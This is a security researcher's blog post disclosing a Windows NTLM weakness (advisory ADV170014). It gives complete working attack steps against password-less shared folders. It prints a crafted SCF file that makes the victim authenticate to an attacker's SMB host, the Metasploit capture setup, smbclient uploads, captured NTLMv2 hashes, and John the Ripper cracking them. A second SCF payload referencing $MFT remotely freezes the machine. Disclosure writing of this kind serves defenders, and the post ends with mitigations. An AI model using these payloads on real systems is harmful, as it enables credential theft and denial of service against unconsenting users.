October 2017, Microsoft patch Tuesday included an optional security advisory, ADV170014, this advisory makes reference to a bug on the NTLM authentication scheme, that allows a malicious attacker to steal hashes and to remote freeze the vulnerable machine.
I’ve reported this bug on May 24 2017, and was officially closed by Microsoft on October 18 2017.
A total of 148 days was the time required by Microsoft to check this issue.
I’m making this public now, after October patch Tuesday, that the official ‘solution’ went public, now it’s up to system administrator to apply the patch on the registry, if their current situation allows that, But we’ll go back to that later on.
It is a known issue that Microsoft NTLM architecture has some failures, hash stealing is not something new, it is one of the first things a pentester tries when attacking a Microsoft environment.
But, most of these techniques require user intervention or traffic interception to fulfill the attack.
These new attacks require no user interaction, everything is done from the attacker’s side, but of course, there are some conditions that need to be met to be successful with this attack.
To execute this attack a shared folder with no password protection is required on the target machine, this is normal behaviour on offices, schools, hospitals and almost all Windows environments, people share folders to share music, photos and documents.
Let’s say that the user ‘Juan’, creates a folder on his Desktop called ‘Prueba2’, and decides to share that folder with his team.
Now, let’s move to the ‘Sharing’ tab to modify the folder properties and allow sharing without using passwords.
Here we can see the shared folder path, \\JUAN-PC\Users\juan\Desktop\prueba2
Now, we must click on ‘Network and Sharing center’
Here we click on ‘Turn off password protected sharing’ option, this basically allows any user to access the shared folder without authentication.
SCF files were introduced by Microsoft on Windows 3.11 time, These are plain text files that instruct Windows File Explorer to execute some basic tasks.
There are already a few SCF file- based attacks, but until now, all these attacks requires user intervention to execute the SCF file.
We have two recent examples, the attacks created by Bosko Stankovic from Defense Code, in the paper Stealing Windows Credentials Using Google Chrome also the 2015 Black Hat presentation where Jonathan Brossard and Hormazd Billimoria demonstrated the attack called SMB: Sharing more than just your files.
The basic SCF file structure is as follows:
[Shell] Command=2 IconFile=\\192.168.1.101\share\test.ico [Taskbar] Command=ToggleDesktop
Just that, it is worth to remember that SCF files are some of the more obscure Windows functionalities, and that the documentation is almost non existent.
The attack, Steal the hash
To perform this attack, we are going to use Metasploit, and a SCF file crafted the following way.
root@sysadminjd:~# cat test.scf [Shell] Command=2 IconFile=\\192.168.1.111\share\test.ico [Taskbar] Command=ToggleDesktop root@sysadminjd:~#
The machine with the IP address 192.168.1.111 is our attacking machine, where we are running capture/smb Metasploit module
root@sysadminjd:~# msfconsole -q msf > use auxiliary/server/capture/smb msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt JOHNPWFILE = /tmp/smbhash.txt msf auxiliary(smb) > exploit -j [*] Auxiliary module running as background job [*] Server started. msf auxiliary(smb)
We are going to also use John the Ripper to crack the hashes, that’s why we define the option JOHNPWFILE , pointing it to the file /tmp/smbhash.txt, where hopefully we’ll have our captured hashes.
At this point, the ‘Prueba2’ folder is totally empty, but there is no need to have it empty.
With everything in place, we upload the SCF file to the vulnerable folder using any method we want to use, OSX Finder, Windows file explorer or in this case the command line utility smbclient.
root@sysadminjd:~# smbclient //192.168.1.67/Users WARNING: The "syslog" option is deprecated Enter root's password: OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1] smb: \> cd juan smb: \juan\> cd Desktop\ smb: \juan\Desktop\> cd prueba2\ smb: \juan\Desktop\prueba2\> put test.scf putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s) smb: \juan\Desktop\prueba2\> ls . D 0 Mon Oct 23 12:27:15 2017 .. D 0 Mon Oct 23 12:27:15 2017 .DS_Store AH 6148 Tue May 23 17:29:03 2017 test.scf A 91 Mon Oct 23 12:27:15 2017 6527487 blocks of size 4096. 4043523 blocks available smb: \juan\Desktop\prueba2\> root@sysadminjd:~#
The vulnerable folder now contains our SCF file
At this point, our Metasploit console must be showing something like this
msf auxiliary(smb) > [*] SMB Captured - 2017-10-23 12:27:15 -0400 NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:47894338d99abe2f08e2c693618c7323 NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:27:15 -0400 NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:e97b70559f29462e2ca221d31113b9ca NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:27:15 -0400 NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:eb8b228b739cc95a12d7e0d89d89e002 NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:37:09 -0400 NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:4abb0803c4afd1509bfca3bbc566ad70 NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:37:09 -0400 NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:5eeb82aab85e9663624aaf6500e4d8f8 NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000 [*] SMB Captured - 2017-10-23 12:37:09 -0400 NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67 USER:juan DOMAIN:juan-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:55a0cb725a5a171cffdccea36fdcd934 NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000
As you see see, a single upload can trigger several authentication requests, so no need to worry about that.
Now that we have the hashes on our attacking machine, we can use John to try to get the plain text.
root@sysadminjd:~# cd /tmp/ root@sysadminjd:/tmp# john smbhash.txt_netntlmv2 Using default input encoding: UTF-8 Rules/masks using ISO-8859-1 Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Press 'q' or Ctrl-C to abort, almost any other key for status abc (juan) abc (juan) abc (juan) abc (juan) abc (juan) abc (juan) 6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc Use the "--show" option to display all of the cracked passwords reliably Session completed root@sysadminjd:/tmp#
John was able to recover the plaintext, the logged in user ‘juan’ has a simple password ‘abc’.
The attack, freezing the machine
The second attack allows us to freeze the remote machine remotely, let’s see how.
We require the same vulnerable folder, we can use the same one we use on the first step, we also need a SCF file, with a little difference.
root@sysadminjd:~# cat mft.scf [Shell] Command=2 IconFile= c:\$MFT\123 [Taskbar] Command=ToggleDesktop root@sysadminjd:~#
This SCF files contains a call to $MFT, which locks the NTFS filesystem, this is discussed on this blog entry (Sorry, only Spanish) or you can take a look on the internet for better resources on the topic.
Now, we just upload the SCF file to the vulnerable machine, using again smbclient
root@sysadminjd:~# smbclient //192.168.1.67/Users WARNING: The "syslog" option is deprecated Enter root's password: OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1] smb: \Z cd Default\ desktop.ini juan\ Public\ smb: \&gt; cd juan\Desktop\prueba2\ smb: \juan\Desktop\prueba2\&gt; ls . D 0 Wed May 24 18:08:34 2017 .. D 0 Wed May 24 18:08:34 2017 .DS_Store AH 6148 Tue May 23 17:29:03 2017 1.exe A 7168 Tue May 23 17:29:03 2017 prueba.scf A 92 Wed May 24 18:08:34 2017 6527487 blocks of size 4096. 4156104 blocks available smb: \juan\Desktop\prueba2\&gt; put mft.scf putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)
And that’s all, there is no need for more intervention from the attacker or the user, the machines now starts to lock the file system until the point it needs a reboot.
Who is vulnerable?
Accordingly to Microsoft, all Windows versions since 3.11 till Windows 10, Desktop and server are vulnerable to this kind of attack.
Honestly, I have only tested on Windows 7 and Windows 10, then I passed the ball to Microsoft 🙂
Microsoft created a sort of patch to this vulnerability consisting in changing two registry keys to disable NTLM on the system. This registry keys are available only on Windows 10 and Windows Server 2016, and Microsoft has no intentions to backport to the other versions.
Another issue is that disabling NTLM will break a lot of environments, and that’s a huge concern for them.
My suggestion is to use strong passwords, after the attack we need to crack the hash, that can take a lot of time if the password is complex, and can be frustrating for the attacker.
The better approach, don’t share folders without passwords, that’ll do the trick.
Acknowledgments and final comments
This vulnerability has been around for a long long time, I have been exploiting this for almost a year now, on my pentesting tasks of course.
It is so simple that allows almost anybody to exploit it, the good thing is that certains conditions are needed to be successful on the exploitation, the default Windows configuration is not vulnerable.
I want to thank to Microsoft Security Response Center, they worked hard to try to fix this, and provided a partial patch for the issue, a full patch was not possible without breaking Windows at all.
This exploit was not possible without the excellent work done by Bosko Stankovic from Defense Code in the paper Stealing Windows Credentials Using Google Chrome and Jonathan Brossard / Hormazd Billimoria’s Black Hat presentation SMB: Sharing more than just your files.
And of course, thank you for reading this quite long blog entry.